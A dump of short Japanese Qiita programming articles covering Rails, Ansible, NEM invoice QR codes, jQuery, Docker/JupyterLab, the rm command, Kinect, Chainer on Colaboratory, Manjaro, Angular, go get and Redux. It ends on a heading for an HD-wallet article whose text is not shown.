OmniAICreator/Qiita-1.07M huggingface dataset:
画像の置き場所によるパスの指定方法の違い[Ruby on Rails]

#画像の置き場所によるパスの指定方法の違い

##public以下に置いた時
public以下に置いたファイルを指定するときは、パスを / から始める。ファイルが public/images/hoge.jpg なら、

`image_tag "/images/hoge.jpg"`
とする。パスを / から始めることにより、public以下を指定したことになる。

##assets/images 以下に置いたとき
パスを / から始めてはいけない。app/assets/images/hoge.jpg なら、

`image_tag "hoge.jpg"`
とする。
Railsのcontrollerでmodelのロジックを参照する方法

# controllerでmodelのロジックを参照する方法

##modelファイル
まずモデルファイルを作成、かつロジックを書きます。


```ruby:rbscreenshot.rb
require 'capybara'
require 'capybara/poltergeist'

class RbScreenShot
  class << self
    def take(url)
      session(url).save_screenshot(filename, full: true)
      filename
    end

    def take_part(url)
      session(url).save_screenshot(filename)
      filename
    end

    def filename
      "app/assets/images/#{Time.now.to_i.to_s}.png"
    end

    def session(url)
      initialize_capybara

      session = Capybara::Session.new(:poltergeist)
      session.driver.headers = {'User-Agent' => "Mozilla/5.0 (Macintosh; Intel Mac OS X)"}
      session.visit(url)
      session
    end

    def initialize_capybara
      Capybara.javascript_driver = :poltergeist
      Capybara.register_driver :poltergeist do |app|
        Capybara::Poltergeist::Driver.new app, js_errors: false
      end
      Capybara.default_selector = :xpath
    end
  end
end
```

##controllerファイル

controllerファイルで`require　モデルファイル名`と一番上に書く

```ruby:items_controller.rb
require "rbscreenshot.rb"

class ItemsController < ApplicationController
  before_action :set_item, only: [:show, :edit, :update, :destroy]

  # GET /items
  # GET /items.json
  def index
    @items = Item.all
  end

  # GET /items/1
  # GET /items/1.json
  def show
  end

  # GET /items/new
  def new
    @item = Item.new
  end

  # GET /items/1/edit
  def edit
  end

  # POST /items
  # POST /items.json
  def create
    @item = Item.new(item_params)
    @shot = RbScreenShot.take 'http://matome.naver.jp/'

    respond_to do |format|
      if @item.save
        format.html { redirect_to @item, notice: 'Item was successfully created.' }
        format.json { render :show, status: :created, location: @item }
      else
        format.html { render :new }
        format.json { render json: @item.errors, status: :unprocessable_entity }
      end
    end
  end

  # PATCH/PUT /items/1
  # PATCH/PUT /items/1.json
  def update
    respond_to do |format|
      if @item.update(item_params)
        format.html { redirect_to @item, notice: 'Item was successfully updated.' }
        format.json { render :show, status: :ok, location: @item }
      else
        format.html { render :edit }
        format.json { render json: @item.errors, status: :unprocessable_entity }
      end
    end
  end

  # DELETE /items/1
  # DELETE /items/1.json
  def destroy
    @item.destroy
    respond_to do |format|
      format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }
      format.json { head :no_content }
    end
  end

  private
    # Use callbacks to share common setup or constraints between actions.
    def set_item
      @item = Item.find(params[:id])
    end

    # Never trust parameters from the scary internet, only allow the white list through.
    def item_params
      params.require(:item).permit(:description, :image)
    end
end
```


上記のcontrollerファイルで
`require "rbscreenshot.rb"`
と書く。
そうすることでmodelファイルに記載したロジック(今回はtakeメソッド)が使えるようになる。
ansible rsync メモ

# ansibleでディレクトリごと同期する

```yaml
- hosts: lan.centos
  tasks:
    - name: rsync ローカルのディレクトリをリモートマシンにコピー
      synchronize:
        mode: push
        src: ./src/
        dest: ./ansible_lan/rsync/
        recursive: yes
        delete: yes
        rsync_opts:
          - "-u"
          - "--exclude=exclude_file1"
          - "--exclude=exclude_file2"
    - name: rsync ローカルのディレクトリとリモートマシンと同期（バックアップ）
      synchronize:
        mode: pull
        src: ./ansible_lan/rsync/
        dest: ./src_backup/
        recursive: yes
        delete: yes
        rsync_opts:
          - "-u"
```

[synchronizeドキュメント](http://docs.ansible.com/ansible/latest/modules/synchronize_module.html)
XEMReceiverで作成する請求書QRコードの中身をのぞいてみる

#はじめに
実店舗のXEM決済でXEMReceiverを利用されている方が多いと思います。

XEMReceiver
http://xembook.net/xemreceiver2.html
<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">新機能 XEMReceiverリリースのお知らせ。<br>XEM決済を店舗で行いたい方向けに新しいページを作成しました。<br>日本円での価格とお客様の氏名・番号を入力すると、自動的にQRコードが出力されます。（現在XEM小数点は切り捨てです）</p>&mdash; XEMBook@仮想通貨NEM (@xembook) <a href="https://twitter.com/xembook/status/884734771691044864?ref_src=twsrc%5Etfw">2017年7月11日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

操作は簡単で、以下の手順で簡単に請求書QRコードを作成できます。

１．ウォレットのアドレス入力
２．「価格(JPY)」を入力
３．「現在価格で確定」ボタンをクリック

QRコードの中身がどうなっているか覗いてみようと思います。

XEMReceiverの使い方を知ってる方が前提のため、知らない方はまずは以下のリンクをご参照ください。
http://coiners-magazine.com/news/nem-payment-at-stores-by-xemreceiver/

#請求書QRコードをQRコードリーダーで読み取る
まずはXEMReceiverでQRコードを作成しましょう。

次に、作成したQRコードをQRコードリーダーで読取ります。
![スクリーンショット 2018-05-06 20.20.39.png](https://qiita-image-store.s3.amazonaws.com/0/242994/0f63abd3-b6df-0c78-9d90-2799303e257a.png)

QRコードリーダーはなんでも良いんですが、「公式QRコードリーダー”Q”」を使いました。
<a href='https://play.google.com/store/apps/details?id=com.arara.q&rdid=com.arara.q&pcampaignid=MKT-Other-global-all-co-prtnr-py-PartBadge-Mar2515-1'>Android版</a>
<a href="https://itunes.apple.com/jp/app/%E5%85%AC%E5%BC%8Fqr%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%80%E3%83%BC-q/id911719423?mt=8">iOS版</a>

読み取ると、下図のようなテキストが表示されます。これが請求書QRコードの中身です。
NEMウォレットでこの情報を読み取って、トランザクションを作成しているんだと思います。
![QRコード.png](https://qiita-image-store.s3.amazonaws.com/0/242994/3fedba83-b03b-2b21-755e-4015219319ae.png)

#請求書QRコードの中身解説
分かりやすいようにテキストデータを整形しますね。

```json:json
{
    "v":2,
    "type":2,
    "data":
    {
        "addr":"NCPB4V625NAVKHGVOZRKTX6LAIEKVLK5C3QK6BHB",
        "amount":21372089,
        "msg":""
    }
}
```

ちょっと一部わからない所がありましたが、それぞれの項目について解説しますね。

| 項目 | 値 | 意味 |
|:--|:--|:--|
| v | 2 | すみません。何を意味しているか分かりませんでした。NEM NIS API Documentationを見た限り記述がありませんでした。 |
| type | 2 | NEM NIS API Documentationを見る限り、1が平文のメッセージ。2が暗号化するという意味だと思います。 |
| addr | NCPB4V625NAVKHGVOZRKTX6LAIEKVLK5C3QK6BHB | 請求元のウォレットのアドレスです。このアドレスに入金されます。 |
| amount |　21372089 | XEMの数量です。単位はマイクロXEMのため、1,000,000で割って下さい。 |
| msg |  | トランザクションのメッセージです。 |

要約すると、

アドレス「NCPB4V625NAVKHGVOZRKTX6LAIEKVLK5C3QK6BHB」に21.372089xemを送金してね

というテキストデータが請求書QRコードに入っています。

#さいごに
請求書QRコードの中身は、XEMの送金に必要な情報がテキストデータで入っていることが分かりました。
これを応用すれば、自分でプログラムを組んで請求書QRコードを作成することが可能になります。
これは時間があるときにでも、別記事でやり方をまとめようと思います。
（言語はPythonかSwiftあたりでやるかなぁ）
RailsでjQueryを使えるようにする方法

##環境
Rails 5.2.0
##やり方

###①Gemの追加

Gemfileに`gem "jquery-rails"`を記述する。

`bundle update`を実行。

###②application.jsに追記

//= require jquery
//= require jquery_ujs
の二つを/app/assets/javascripts/application.jsに追記しましょう。

```application.js
//= require activestorage
//= require turbolinks
//= require_tree .
//= require jquery #追加
//= require jquery_ujs #追加
```

###③レイアウトファイルの確認
`app/views/layouts/application.html.erb`を開き、
javascrip_include_tage　の次にapplicationを指定しておきましょう。

```erb

<%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %>
```

これを実行することでスクリプトファイルを読み込むためのスクリプトタグを自動的に生成してくれます。

##試しに使ってみる
適当にコントローラとビューを作り、jQueryが動作しているのか確かめて見ましょう。

```test.html.erb
<h1>Ajax#index</h1>
<p id="hoge">赤色になるよ</p>
```
<img width="500" alt="Cards.png" src="https://qiita-image-store.s3.amazonaws.com/0/242611/eed3d247-deaf-cc75-9d79-c8c779e10078.png">

ではjQueryを使って文字を赤色に表示してみましょう。

```test.html.erb

<h1>Ajax#index</h1>
<p id="hoge">赤色になるよ</p>

<script>
  $("#hoge").css("color","red")
</script>
```

ここではhogeを指定して色を変えているので以下のような表示になっているかと思います。
<img width="547" alt="Cards.png" src="https://qiita-image-store.s3.amazonaws.com/0/242611/635d3eff-2c01-bcac-f7f2-6ddaa5676b89.png">

色が変わっていればjQueryが正常に動作しています。

##もしjQueryが使えていなかったら。
念のため、以下を確認しておきましょう。
**・`rails s`を再起動したか**
**・`bundle update`したか**

それでも適応されない！って場合は、@kumagi さんの記事も参考にしてみましょう。
https://qiita.com/kumagi/items/289ccadf344f32613304
非フロントエンドに説明するタスクランナーとは

## タスクランナーって何？
簡単に言うとフロントエンドの仕事で面倒なタスクを自動的にやってくれる便利なツール

### フロントエンドの面倒なタスクって何？
イメージしやすいのだと
・画像ファイルの圧縮
・SassからCSSへの変換
・CSSのminify
・JSのminify

などなど。もっと詳しく知りたかったら各プロジェクトのタスクが書いてあるファイルを見ればわかる

### 何が便利なの？
まずはタスクとコマンドと言う概念を知っておいたほうがいい
タスクとは、フロントエンドの面倒な「タスク」のところで書いたような作業たち
ざっくり言うと、
・　Sass, Stylus,　less, ES6, 各種JSフレームワークなどのトランスパイル
・　CSSのベンダープレフィックスの自動追加
・　ポリフィルを通したトランスパイル
・　minify
・　lint等による質の担保
・　テストの自動化
などなど

コマンドとは、上記のタスクたちを動かすための命令。
例えば, npm start, npm run build,　grunt serve, grunt build, gulp serve, gulp build

などなど。これにより、ブラウザ互換性に悩まされる時間を削減できたり、その他雑多なタスクを自動化することができるので作業効率のアップが測れる。

### じゃあ何が不便なの？
例えば、buildされてminifyされたものを外注先に渡して、編集してもらおうとすると、minify後のものを渡すことになるので、可読性の問題などが発生する。（設定すれば、指定フォルダだけminifyしないとかは可能）

あとは、コマンドがわかれば誰でも使えるけど、各タスクが何をしているのか理解しないと、意図したアウトプットが出せない可能性とかがある。

他にも、利用していたものを、今すぐやめようとか他のタスクランナーにしようと言うのは厳しい（やめたり、乗り換えたりした時、現状通りに運用できるようにするには、もう一度開発環境等を作り直すことになる）

### どんなタスクランナーがあるの？
大勢の人が使っているのは, gulp, Grunt, Webpackあたりかなと思う。

２０１７のgithubのレーティングでは,
gulp > Webpack >>> Grunt
gulpとWebpackは僅差で、Gruntはratingではgulp,　Webpackの半分くらい

ダウンロード数では、
Webpack　>> gulp >> Grunt
Webpack：４５８万、gulp:280万、Grunt:198万　くらい


## まとめ
タスクランナーとはだいたい上で説明したようなもの。
重要なのは、タスクとして何があって、どのコマンドでどのタスクが呼ばれて動くかと言うのを把握して、使っていくことかなと思う。
これがわからなかくて、なおかつ使っていきたいのであれば、フロントエンドに一度聞いてみることを強くおすすめする。
黒背景でvimキーバインドなJupyterLabを起動するDockerイメージ

```Docker:Dockerfile
FROM jupyter/datascience-notebook

# 公式のイメージではユーザーがjovyan(Jupyter Userのことをこう呼ぶらしい)
# 深い意味はなく他ユーザーを作成するが省略可能
USER root

RUN groupadd student && useradd -m -g student student
RUN mkdir /home/student/notebooks
RUN chown -R student:student /home  # プラグインインストールには/home/jovyan以下への権限が必要

# vimキーバインドのプラグインインストール
RUN jupyter labextension install jupyterlab_vim

# 黒背景設定を追加
RUN mkdir -p /home/jovyan/.jupyter/lab/user-settings/@jupyterlab/apputils-extension
RUN echo '{"theme":"JupyterLab Dark"}' > \
  /home/jovyan/.jupyter/lab/user-settings/@jupyterlab/apputils-extension/themes.jupyterlab-settings

# 作成したユーザーへ変更
USER student
WORKDIR /home/student
```


```docker-compose.yaml
version: '3'
services:
  jupyterlab:
    build: .
    ports:
      - '8888:8888'
    volumes:  # カレントディレクトリの/notebooks以下をマウント
      - "./notebooks:/home/student/notebooks"
    command: start.sh jupyter lab
```

```
|.
├── Dockerfile
├── docker-compose.yaml
└── notebooks
    ├── foo.ipynb
    └── bar.ipynb
```
のように配置して

```
docker-compose up
```

で起動、ターミナル上に表示されるアドレスにブラウザでアクセスしてJupyterLabへ


-----

なぜJovyanかは[GitHubのIssue](https://github.com/jupyter/docker-stacks/issues/358)で議論されていました、そのままでも問題は特にないかと思います（ユーザー別に作ってるのはこのIssue探り当てるまでちょっと気持ち悪かった、ただそれだけです
【ど忘れシリーズ】rmコマンドでディレクトリごと消す方法のおさらい

#はじめに
Linux環境でディレクトリごと消す方法ですが、

* よく忘れます！
* よくググります！

ってな方向けです！おさらいを兼ねて見て頂ければと思います。

#rmコマンドとは
字のごとくremoveの略でファイルやディレクトリを削除するコマンド。
rmコマンドの使い方は、

```
rm -[オプション] [対象ファイルまたはディレクトリ]
```
です。

#オプションのおさらい
代表的なオプションをリストアップしました。
指定するときは先頭に「-」をつけてオプションの1文字をくっつけます。

|オプション|なんの略？|どういう意味？|どういう時に必要？|
|:--------|:---|:---|:---------------|
|f|force|警告メッセージを表示しない|いちいち「消しますか？」と聞いてくるのがうざったいとき|
|i|interactive|警告メッセージを表示させる|逐一削除するものを確認していきたいとき|
|r|recursive|ディレクトリ内を再帰的に削除する|ディレクトリを削除するとき。大文字「R」も同じ動きをする|
|v|verbose|削除する前にファイル名を表示|ファイル名を確認していきたいとき|

#検証
以下のようなディレクトリ構成とします。

```
hogehoge┳abc
        ┗hogehoge2━efg
```

hogehogeディレクトリと同じ階層にいると仮定します。

##hogehogeディレクトリを丸ごと消す
今回の目標ですね。

* ディレクトリ（配下のもの全て含む）
* 確認せず一気に消す

上記の条件により、force（強制）, recursive（再帰）ということで。

#結論：ということは？
```
rm -fr hogehoge
```

これでディレクトリごと消すことができるということですね。

##注意点
```
rm -fr [ディレクトリ]
```
を実行するときは削除対象を十分に確認してから消しましょう。
root権限で削除対象を誤るととんでもないことが起きます。

#参考
[【 rm 】 ファイルやディレクトリを削除する](http://tech.nikkeibp.co.jp/it/article/COLUMN/20060227/230871/)

#追記
参考のURLには-dオプションが記載されていますが、
実際のLinuxで下記のヘルプを実行してみると-dオプションは存在しない様です。
（ディストリビューションの違い？）
なくなった経緯の分かる方がいらっしゃったらご教授頂ければ幸いです。m(_ _)m

```
[user@local ~]$ rm --help
Usage: rm [OPTION]... FILE...
Remove (unlink) the FILE(s).

  -f, --force           ignore nonexistent files, never prompt
  -i                    prompt before every removal
  -I                    prompt once before removing more than three files, or
                          when removing recursively.  Less intrusive than -i,
                          while still giving protection against most mistakes
      --interactive[=WHEN]  prompt according to WHEN: never, once (-I), or
                          always (-i).  Without WHEN, prompt always
      --one-file-system  when removing a hierarchy recursively, skip any
                          directory that is on a file system different from
                          that of the corresponding command line argument
      --no-preserve-root  do not treat `/' specially
      --preserve-root   do not remove `/' (default)
  -r, -R, --recursive   remove directories and their contents recursively
  -v, --verbose         explain what is being done
      --help     この使い方を表示して終了
      --version  バージョン情報を表示して終了

By default, rm does not remove directories.  Use the --recursive (-r or -R)
option to remove each listed directory, too, along with all of its contents.

`-' で始まる名前のファイルを削除するには、例えば `-foo' というファイルなら
こういうコマンドを使いましょう
  rm -- -foo

  rm ./-foo

ファイルの削除に rm を使った場合、通常はそのファイル内容を復元できてしまう、
ということには留意しておいてください。もしその内容を本当に復元不可能にする
保証を得たければ、shred の利用を考えてみてください。
```
Kinect概要

#kinectとは

キネクトはマイクロソフト社製品のXbox用モーションキャプチャーセンサー　ゲームとかでダンスできる 1~2万でかえる！！

RGBカメラ，深度センサ，マイクアレイなどのセンサがついてる．

#深度センサの仕組み

##V1(Xbox 360用)の場合

赤外線のドットをプロジェクトして，点の大きさで距離を測定．
そのため，鏡や半透明の物との距離を測るのは苦手．
また，直射日光などの強い光が当たるとうまく測定できない．

![hqdefault.jpg](https://qiita-image-store.s3.amazonaws.com/0/99389/fdff6de1-45c0-a3e0-bc72-689fe1d86b27.jpeg)

##V2(Xbox one用)の場合

ToF(Time of Flight)方式．赤外線を投射し，光が帰ってくるまでの時間で距離を測定．V1より外乱に強く高精細　しかし，直射日光があるとうまく動かない．

キネクトは基本的に室内での使用を想定している．


#ロボコンにおけるkinectの有用性

高専ロボコンではkinectは基本的に安い深度センサとして利用される．色ベースのプログラムでは本番会場で大きく照明が変化するため，不安定になる．深度センサを用いれば形ベースのプログラムを作れるため，本番会場でもある程度安定して動作することが期待できる．

ほかのセンサを使いたければ，Intelのrealsenseなどがあるがkinectより価格が高い．その分小さくて軽い．


深度センサとして使われるため，プログラムの肝となるのは，OpenCvでのリアルタイム画像処理．
ColaboratoryでChainerのサンプルを実行する

## 準備

1. [ファイル]-[Python3のノートブックを作成]
2. [ランタイム]-[ランタイムのタイプを変更]  
ハードウェアアクセラレータを GPU にする。


## インストールまで

行頭に ! を付ければ、だいたいのことはできる。

```bash
!apt-get install -y -qq libcusparse8.0 libnvrtc8.0 libnvtoolsext1
!ln -snf /usr/lib/x86_64-linux-gnu/libnvrtc-builtins.so.8.0 /usr/lib/x86_64-linux-gnu/libnvrtc-builtins.so
!pip install cupy-cuda80==4.0.0
!pip install chainer==4.0.0
```

## サンプルを用意する

cdは特別で、　!　ではなく　%　を付ければOK。

```bash
!git clone https://github.com/chainer/chainer.git

%cd chainer
!git checkout -b v4.0.0 refs/tags/v4.0.0
```

## サンプルを実行する

```bash
!python examples/mnist/train_mnist.py -g 0
```

もちろんログも出る。出力結果はこんな感じ。

```
/usr/local/lib/python3.6/dist-packages/h5py/__init__.py:36: FutureWarning: Conversion of the second argument of issubdtype from `float` to `np.floating` is deprecated. In future, it will be treated as `np.float64 == np.dtype(float).type`.
  from ._conv import register_converters as _register_converters
GPU: 0
# unit: 1000
# Minibatch-size: 100
# epoch: 20

Downloading from http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz...
Downloading from http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz...
Downloading from http://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz...
Downloading from http://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz...
epoch       main/loss   validation/main/loss  main/accuracy  validation/main/accuracy  elapsed_time
（略）
1           0.191875    0.0962698             0.941733       0.9684                    14.8566       
（略）
2           0.0749486   0.0723905             0.976982       0.9768                    20.2693       
（略）
20          0.00698326  0.100026              0.998082       0.9828                    118.724       
     total [##################################################] 100.00%
this epoch [..................................................]  0.00%
     12000 iter, 20 epoch / 20 epochs
    109.34 iters/sec. Estimated time to finish: 0:00:00.
```

実行時間は、初回のテストデータダウンロードを含めてもおよそ230秒だった。
２回目以降は、ログの最後に出てる時間とほぼ一致（110秒くらい）。

Macbook Proが発火しないか不安になりながら延々と待っていた自分がアホだった。
ここまでくれば、後はgit cloneを自分のリポジトリにして、実行するファイルを自分のものにすればいいだけ。
manjaro-cinnamonに(今更)乗り換えた時の覚え書き2 〜基本設定

# はじめに
こんにちは、前の記事にいいねをされて引くに引けなくなった @maskuarade です。
この記事は [前回](https://qiita.com/maskuarade/items/e014df8360bc55309016)の続きとなります。
覚え書きとlinuxに切り替えたい人向けのものですので、ガチプロ及び既に触ったことがある方に対しては実入りが少ないかもしれません。
前回はインストールまで。
今回はその後の設定をします。

# 今回の作業
## パッケージマネージャ
manjaroはArchをベースとしているため、[AUR](https://wiki.archlinux.jp/index.php/Arch_User_Repository)を使うことが出来ます。
公式でPacmanのパッケージが使える他、[Yaourt](https://wiki.archlinux.jp/index.php/Yaourt)等のPacman WrapperによってこれらのAURを用いることが出来ます。

まずは中身のシステムの更新をします。
ミラーの設定からです。
manjaroの場合は簡単に出来ます。
```
sudo pacman-mirrors --fasttrack && sudo pacman -Syy
```
![Screenshot from 2018-05-06 20-41-42.png](https://qiita-image-store.s3.amazonaws.com/0/221137/9aea02b7-fe4d-12c9-8e9d-820c64c4b1c1.png)

これにより最適なミラーが設定され、ダウンロード速度が上がります。体感的にもかなり違います。
パッケージの更新です。
```
sudo pacman -Syyu
```
`pacman -Syu` との違いは実際にやればわかるとおり、パッケージのリストのDBの更新が入るかどうかです。
![Screenshot from 2018-05-06 20-50-13.png](https://qiita-image-store.s3.amazonaws.com/0/221137/c4fe87ab-252c-ebaf-43f8-b83c98483598.png)


## Zsh, nvim
Zsh大好き人間なのでZshを使います。
また、取り敢えずVimの代わりにneovimを導入しました。
fishやEmacsでもいいと思います。好みです。
また、通常BashになっているデフォルトのシェルをZshに変更します。

```Zsh
sudo pacman -S zsh neovim
chsh -s zsh
sudo chsh -s zsh
```

この後シェルを開き直しましょう.
zshの設定です。
ここに記すと長くなるので [github](https://github.com/kkiyama117/.zsh/tree/master) にあげます。
他のzsh 関係のファイルもこちらに含まれています(ついでにnvimの設定も少しありますが)。
何種類かあり、正直どれが何なんだ、となりますが、(誤解を恐れずに)分かりやすく言うと、いつでも読み込まれる設定かどうか、及び読み込みの順番が先か後化、という違いがあります。
具体的なものは [こちらの記事](https://qiita.com/muran001/items/7b104d33f5ea3f75353f) が詳しいです。先人に感謝。
中身の実際の設定については、色やzshの各種便利機能の設定からPath(環境変数)の設定、エイリアスの設定等様々です。
こちらについては[Arch Wikiのzshのページ](https://wiki.archlinux.jp/index.php/Zsh) をみる他、「zsh 設定」でググって最初の1,2ページにある記事を大量に流し読みするのが一番いいと思います。
zshrc, zshenv, zprofile を導入し、次の設定に進みます.
基本的にシェル周りに設定を読み込ませる時は、シェルを一度終了して再度端末を開くか、以下のようにsourceコマンドを使います。
```
source ~/.zshrc
```
今後も逐次使っていきます。

# 終わりに
今回はここで終わりです。
正直これだけでも十分すぎるほど使い物になりますが、取り敢えずこれを見てくださるような人は日本語入力が欲しいと思いますので、その設定をします。
[Angular] ExpressionChangedAfterItHasBeenCheckedError への2つの対処法

```
ERROR Error: ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was checked. Previous value: 'something: null'. Current value: 'something: something'.
```

Componentを入れ子構造にしているとよく見るこのエラー
どうも、子供のComponentから親Componentを変更しようとすると発生するようだ。
Angularでは、子供のComponentからの親の変更を基本的に禁止しているので、こういうことが出るらしい。

# とりあえずこの2つのどっちかでOK

1. setTimeout による非同期処理化
2. detectChanged による明示的な変更

# 今回の例の前提と登場人物
子Componentにより、親ComponentのViewにあるタイトルが変更されるとする。

1. 親 Component (ParentComponent)
2. 子 Component (ChildComponent)
3. タイトルを司るサービス（TitleService）

## ParentComponent

Typescript

```ts
@Component({
  selector: 'app-parent',
  templateUrl: 'app-parent.component.html',
})
export class ParentComponent implements OnInit {
  title: string;
  constructor(
    private titleService: TitleService,
  ) {}
  ngOnInit(): void {
    this.titleService.value.subscribe((value) => {
      this.title = value;
    });
  }
}
```

View

```html
<div>
  <h1>{{ title }} </h1>
  <ng-content></ng-content>
</div>
```

## ChildComponent
```ts
@Component({
  selector: 'app-child',
  templateUrl: 'app-child.component.html',
})
export class ChildComponent implements OnInit {
  constructor(
    private titleService: TitleService,
  ) {}
  ngOnInit(): void {
    this.titleService.value.next('子供');
  }
}
```

## TitleService

```ts
@Injectable()
export class TitleService {
  value: BehaviorSubject<string> = new BehaviorSubject(null);
}
```

上記コードを実行すると、

```
ERROR Error: ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was checked. Previous value: 'value: null'. Current value: 'value: 子供'.
```

というエラーが出る。

# setTimeout による非同期化
これは非常に簡単。でも、なんで `setTimeout` するんだ？という一見謎のコードになる。

```ts
@Component({
  selector: 'app-parent',
  templateUrl: 'app-parent.component.html',
})
export class ParentComponent implements OnInit {
  title: string;
  constructor(
    private titleService: TitleService,
  ) {}
  ngOnInit(): void {
    this.titleService.value.subscribe((value) => {
      setTimeout(() => {
        this.title = value;
      });
    });
  }
}
```

不自然なコードになり、メンテナンス性が下がるので、個人的には下記をおすすめする

# detectChanged による明示的な変更

```ts
@Component({
  selector: 'app-parent',
  templateUrl: 'app-parent.component.html',
})
export class ParentComponent implements OnInit {
  title: string;
  constructor(
    private titleService: TitleService,
    private cd: ChangeDetectorRef,
  ) {}
  ngOnInit(): void {
    this.titleService.value.subscribe((value) => {
      this.title = value;
      this.cd.detectChanges();
    });
  }
}
```

DIするサービスが一つ増えるので、面倒になるのだが、こちらは何をやっているかが明確（なぜやっているかは明確ではないけど）

# 最後に
どちらの場合でも、エラーは消えるはずです。複数人でメンテし続けるなら、後者が良いかなと思いますが、速さ重視の個人プロダクトなら、前者もありかと思います。

この内容 https://qiita.com/seteen/items/16246f6351c1c4cb281b　でも紹介した内容でしたが、今回は解決策を増やして、コードを少し充実させました。

# 参考
https://blog.angularindepth.com/everything-you-need-to-know-about-the-expressionchangedafterithasbeencheckederror-error-e3fd9ce7dbb4
大量のgo getを少し速くする技

`dep` やら `vgo` やらが時代の潮流のようですが、開発ツールに関しては地道に `go get` で落としている人も多いと思います。

こういう時、go getコマンドを何度も実行するよりも…

```bash:go_get_1.sh
go get -v -u golang.org/x/tools/cmd/goimports
go get -v -u honnef.co/go/tools/cmd/staticcheck
go get -v -u github.com/kisielk/errcheck
go get -v -u bitbucket.org/liamstask/goose/cmd/goose
go get -v -u github.com/knq/xo
go get -v -u github.com/joho/godotenv/cmd/godotenv
go get -v -u github.com/githubnemo/CompileDaemon
```

こんな風に1回の `go get` に複数パッケージを並べて書いたほうが高速にダウンロードできるようです。

```bash:go_get_2.sh
go get -v -u \
   golang.org/x/tools/cmd/goimports \
   honnef.co/go/tools/cmd/staticcheck \
   github.com/kisielk/errcheck \
   bitbucket.org/liamstask/goose/cmd/goose \
   github.com/knq/xo \
   github.com/joho/godotenv/cmd/godotenv \
   github.com/githubnemo/CompileDaemon
```

雑な比較
--------

```bash
$ time bash go_get_1.sh
# (中略)
real    0m41.743s
user    0m5.775s
sys     0m5.135s

$ time bash go_get_2.sh
# (中略)
real    0m32.035s
user    0m3.600s
sys     0m3.095s
```

速くなる理由
-------------

go getは依存関係にあるパッケージも自動的に取得してくれます。
複数のパッケージを一気に指定すると、いくつかのパッケージから共通して依存されているパッケージを1回だけ落とすようになるため、その分ちょっと効率的になるようですね。

なので、共通部分が多いパッケージ群だと、効果はばつぐんだ！

```bash
$ time bash -c 'go get -u google.golang.org/grpc/examples/helloworld/greeter_server && go get -u google.golang.org/grpc/examples/helloworld/greeter_client'

real    0m29.332s
user    0m2.587s
sys     0m2.430s


$ time bash -c 'go get -u google.golang.org/grpc/examples/helloworld/greeter_server google.golang.org/grpc/examples/helloworld/greeter_client'

real    0m13.669s
user    0m1.252s
sys     0m1.260s
```

↑gRPCのサンプルのserverとclientですが、依存関係はほぼ共通なので、ダウンロード時間が約半分に減ってますね。


あとはそもそも、 `-u` 付けなくていいのでは？みたいなのも考慮に入れるといいかと。
ReduxでAction固有のmiddlewareを作ることによって副作用を疎にする


[こちらの動画](https://www.youtube.com/watch?v=JUuic7mEs-s)で紹介されていた書き方がシンプルでいいなと思ったので紹介します。Reduxでの副作用(というか非同期処理)の扱いは議論になりがちなところですが一つの解として。

TL;DR
------------------------------
Action Typeをフックにして副作用を扱う処理を起動するmiddlewareを作る。

実装
------------------------------
実装がないと何言ってんだって感じだと思うので書きます。
「クリックされたらAPIコールを実行」というシンプルな機能を題材にします。

まずクリックされて実行されるActionはこんな感じです。

```js:actions/books.js
// Action Typeは `[...]` でnamespace作る
export const GET_BOOKS           = '[books] GET';
export const FETCH_BOOKS_SUCCESS = '[books] Fetch success';
export const FETCH_BOOKS_ERROR   = '[books] Fetch Error';

export const getBooks = () => ({
  type: GET_BOOKS
});
```

APIコールのAction。

```js:actions/api.js
export const API_REQUEST = '[app] API Request';

export const apiRequest = (method, url, body, onSuccess, onError) => ({
  type: API_REQUEST,
  payload: body,
  meta: { method, url, onSuccess, onError }
});

```

シンプルですね。Action CreatorがActionオブジェクトを返すだけの役割を担えています。

次にAPIコールを実行する部分。

```js:middlewares/books.js
export const getBooksFlow = ({dispatch}) => next => action => {
  next(action); // Actionの実行された順番を保つために始めに書く。

  // GET_BOOKS Actionが実行された際にapiを呼び出す
  // 引数にメタ情報(URLとかメソッドとか)を渡す
  if (action.type === GET_BOOKS) {
    dispatch(apiRequest('GET', URL, null, FETCH_BOOKS_SUCCESS, FETCH_BOOKS_ERROR));
  }
};

// ...その他 `books` にまつわる処理たち

export const booksMiddlewares = [getBooksFlow, ...その他];
```


```js:middlewares/api.js
export const api = ({dispatch}) => next => action => {
  next(action)；

  if(action.type === API_REQUEST) {
    const { method, url, onSuccess, onError } = action.meta;

    fetch(url, { method }).then(response => response.json())
      .then((data) => dispatch({ type: onSuccess, payload: data }))
      .catch(error => dispatch({ type: onError, payload: error }))
  }
};
```

そしてStoreでこれらをmiddlewareとして登録。

```js:store.js
import {applyMiddleware, createStore, compose} from "redux";
import {reducers} from "./reducers";
import {booksMiddlewares} from "./middleware/books";
import {api} from "./middleware/api";

export const store = createStore(
  reducers,
  compose(
    applyMiddleware(...booksMiddlewares, api),
  )
);
```

以上です。発想としてはすごい単純ですが、副作用になる部分をきっちりそれ単独のものとして切り離すことができました。

感想
------------------------------
こうするとAction Creatorに副作用が混じったコードが入りまくって辛い感じにはならないし、Actionの順番も担保できるので処理の追跡もちゃんとできる。
やり方はすごい単純だけど、redux-sageで解決してたことがシンプルに解決できていると思う。(redux-sageに対しては好意も敵意もないです。)

ただ個人的には若干「これを `middleware` と呼んでいいのか？」という気持ちにはなるので別の名前をつけたくはある。
暗号通貨のHDウォレットの仕組み

Hierarchy Deterministic Wallet（階層的決定性ウォレット）。

